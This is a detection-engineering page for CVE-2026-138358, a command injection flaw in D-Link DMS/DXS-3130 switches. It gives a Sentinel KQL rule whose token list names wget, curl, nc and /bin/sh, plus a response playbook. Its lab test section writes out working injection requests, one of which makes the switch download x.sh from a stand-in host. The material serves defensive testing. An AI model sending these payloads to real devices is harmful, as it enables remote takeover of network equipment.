Skip to content
CVE-2026-138358 Microsoft Sentinel · KQL

Detect D-Link DMS-3130/DXS-3130 Nuclias Manager Profile Import OS Command Injection (CVE-2026-138358) in Microsoft Sentinel

Detects exploitation attempts against CVE-2026-138358, an OS command injection vulnerability (CWE-77, CWE-78) in the http_import_nuclias_manager_profile function of the file 464_Nuclias_Manager_Settings.lua on D-Link DMS-3130 and DXS-3130 switches running firmware 1.20.P006. The CVSS 4.0 base score is 8.6. The affected handler imports a Nuclias Manager profile and passes the attacker-controlled nuclias_manager_profile_src_file_name argument into an OS command without sanitization, which allows remote command execution. The attack can be launched remotely. A public exploit is available. This detection surfaces HTTP requests to the profile-import endpoint carrying shell metacharacters, anomalous process spawns from the switch web server, and unexpected outbound connections from management-plane devices.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// df00tech DF00-562014fc00 · https://df00tech.com/detections/CVE-2026-138358 · licence: https://df00tech.com/detections/licence
let suspiciousTokens = dynamic([";","|","&&","`","$(","$(","%3B","%7C","%60","%26","wget ","curl ","/bin/sh","nc ","busybox"]);
CommonSecurityLog
| where DeviceVendor has_any ("D-Link", "DLink")
| where RequestURL has "import_nuclias_manager_profile" or RequestURL has "http_import_nuclias_manager_profile"
| where RequestMethod == "POST"
| extend DecodedBody = coalesce(column_ifexists("RequestBody", ""), AdditionalExtensions)
| where DecodedBody has_any (suspiciousTokens) or RequestURL has_any (suspiciousTokens)
| project TimeGenerated, SourceIP, DestinationIP, DeviceName=DeviceProduct, RequestURL, RequestMethod, DecodedBody
| sort by TimeGenerated desc
high severity medium confidence

Flags HTTP POST requests to the Nuclias Manager profile-import endpoint on D-Link DMS/DXS-3130 switches that carry shell metacharacters or command-injection payloads in the URL or body.

Data Sources

Network Device SyslogWeb ProxyFirewall HTTP logs

Required Tables

CommonSecurityLog

False Positives & Tuning

  • Legitimate administrators importing Nuclias Manager profiles whose profile names coincidentally contain reserved characters
  • Security scanners or vulnerability assessment tools probing the management interface during authorized testing
  • WAF or IDS log replay/testing that reinjects sample payloads into the HTTP stream

Other platforms for CVE-2026-138358


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulated command injection via Nuclias Manager profile import

    Expected signal: HTTP POST to import_nuclias_manager_profile endpoint with ';id;' metacharacters in request body captured in proxy/firewall/switch web logs.

  2. Test 2 Profile import with remote download payload

    Expected signal: HTTP request containing 'wget http://' and backtick metacharacters; potential outbound connection from switch to attacker host.

  3. Test 3 URL-encoded command injection attempt

    Expected signal: HTTP POST with URL-encoded metacharacters (%3B, %7C) to the profile-import endpoint in web/proxy logs.


Response Playbook

Triage

  1. Confirm the source device is a D-Link DMS-3130 or DXS-3130 switch on firmware 1.20.P006 and that the HTTP request targeted the http_import_nuclias_manager_profile endpoint.
  2. Extract and URL-decode the request body; identify the exact shell metacharacters or commands injected (e.g., wget/curl of a second-stage payload, reverse shell, /bin/sh).
  3. Determine whether the request was authenticated and whether it originated from an expected management subnet or an external/untrusted source IP.
  4. Correlate the timestamp with any new process execution, config change, or outbound connection from the switch management plane.

Containment

  1. Isolate the affected switch management interface from untrusted networks via ACL/management VLAN restriction or firewall block of the web management port.
  2. Disable or restrict access to the Nuclias Manager profile-import functionality until patched, and force an administrative credential rotation for the device.
  3. If compromise is confirmed, remove the device from production, capture a config/firmware image, and reimage to a known-good firmware.

Evidence Collection

  1. Preserve the full HTTP request (headers + decoded body), source IP, and web server logs from the switch for the event window.
  2. Collect the switch running/startup configuration, syslog, and any new files or scheduled tasks created on the device for forensic comparison.

Escalation Criteria

  • !Escalate to incident response if the injected command includes payload download, reverse-shell, or credential/config exfiltration indicators.
  • !Escalate if the request originated from an external IP or if post-exploitation activity (new outbound connections, config tampering) is observed on the switch.

Investigation Guide

Forensic Artifacts

  • >Switch web server access/error logs referencing http_import_nuclias_manager_profile
  • >Device syslog entries for unexpected process execution or config changes
  • >Newly created files, cron/scheduled entries, or firmware modifications on the switch

Tuning Guidance

Tune by allowlisting known management/admin source IPs and automation hosts that perform legitimate profile imports. If the switch web logs do not populate RequestBody, rely on upstream proxy/WAF logging or packet capture for body inspection. Reduce noise from authorized scanners by excluding scheduled vulnerability-scan source ranges. Raise severity automatically when the payload contains download (wget/curl) or reverse-shell indicators.


Hunting Queries

Baseline all access to the Nuclias Manager profile-import endpoint to identify unexpected sources or volume spikes indicative of probing.

Hunting — KQL
kql
// df00tech DF00-562014fc00 · https://df00tech.com/detections/CVE-2026-138358 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "import_nuclias_manager_profile" | summarize count(), make_set(SourceIP) by bin(TimeGenerated, 1h), DeviceProduct
Hunting — SPL
spl
``` df00tech DF00-562014fc00 · https://df00tech.com/detections/CVE-2026-138358 · licence: https://df00tech.com/detections/licence ```
index=network uri="*import_nuclias_manager_profile*" | stats count values(src_ip) by http_method, dest_ip

Atomic Red Team Tests

Test 1 Simulated command injection via Nuclias Manager profile import
linux

Sends a crafted POST request to the vulnerable endpoint with a shell metacharacter payload in the profile field to validate detection of injection attempts (lab device only).

Command

bash
curl -k -s -X POST 'https://switch.lab.local/http_import_nuclias_manager_profile' --data "profile_name=test;id;&data=aaaa"

Cleanup

bash
echo 'No persistent change on attacker host; revert any test profile created on the lab switch via admin UI.'

Expected Telemetry

HTTP POST to import_nuclias_manager_profile endpoint with ';id;' metacharacters in request body captured in proxy/firewall/switch web logs.

Expected Detection

KQL/SPL rules match on the profile-import path plus metacharacter payload.

Test 2 Profile import with remote download payload
linux

Simulates a second-stage retrieval attempt by injecting a wget command into the profile import request against a lab switch.

Command

bash
curl -k -s -X POST 'https://switch.lab.local/http_import_nuclias_manager_profile' --data 'profile_name=p`wget http://10.10.10.10/x.sh`'

Cleanup

bash
rm -f /tmp/x.sh 2>/dev/null; remove any downloaded artifact from the lab switch.

Expected Telemetry

HTTP request containing 'wget http://' and backtick metacharacters; potential outbound connection from switch to attacker host.

Expected Detection

Detection fires on download-utility indicator (wget/curl) in the profile-import payload.

Test 3 URL-encoded command injection attempt
windows

Tests detection of URL-encoded shell metacharacters (%3B, %7C) in the profile-import request to ensure encoded payloads are caught.

Command

powershell
powershell -c "Invoke-WebRequest -Uri 'https://switch.lab.local/http_import_nuclias_manager_profile' -Method POST -Body 'profile_name=p%3Bid%7Cnc' -SkipCertificateCheck"

Cleanup

powershell
Remove-Item Env:\TEST_PAYLOAD -ErrorAction SilentlyContinue; delete any test profile on the lab switch.

Expected Telemetry

HTTP POST with URL-encoded metacharacters (%3B, %7C) to the profile-import endpoint in web/proxy logs.

Expected Detection

Detection matches encoded metacharacter patterns in URL/body.

Related Detections